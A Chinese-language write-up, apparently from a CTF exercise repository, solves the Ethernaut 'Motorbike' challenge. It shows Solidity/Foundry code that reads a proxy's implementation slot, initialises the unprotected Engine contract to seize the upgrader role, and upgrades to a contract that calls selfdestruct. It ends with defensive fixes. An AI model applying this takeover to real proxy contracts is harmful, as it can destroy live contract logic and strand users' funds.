Motorbike
合约使用代理调用Engine
合约的逻辑,我们使用Engine
合约中的逻辑时,将函数调用发送到Motorbike
合约中,Motorbike
合约再代理调用Engine
合约。目标是销毁Engine
合约,使Motorbike
合约失效(无法代理调用)。
根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令:
$ cd WTF-CTF
$ forge test -C src/Ethernaut/Motorbike -vvvvv
Engine
合约并没有selfdestruct
方法,无法销毁合约。但是Motorbike
合约在初始化Engine
合约时,使用的是代理调用,并没有直接合约间调用。也就是说,Engine
合约并没有初始化。我们只要找到实际的Engine
合约地址,并将它初始化,
engine = address(uint160(uint256(vm.load(motorbike, _IMPLEMENTATION_SLOT))));
将upgrader
变量赋值为我的地址,
Engine(engine).initialize();
然后再调用upgradeToAndCall
函数
Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()"));
//function done() public {
// selfdestruct(address(0));
//}
让Engine
合约代理调用selfdestruct
方法。即可完成目标。
合约在使用代理时,一定要注意implementation合约
也进行了必要的初始化,以防止额外的事故发生。
比如在implementation合约
的构造函数中使用_disableInitializers()
,链接
或者在implementation合约
的函数中使用onlyDelegateCall函数修饰器
,以保证implementation合约中的函数不会被call。
address immutable original;
constructor() {
original = address(this);
}
modifier onlyDelegateCall() {
require(address(this) != original);
_;
}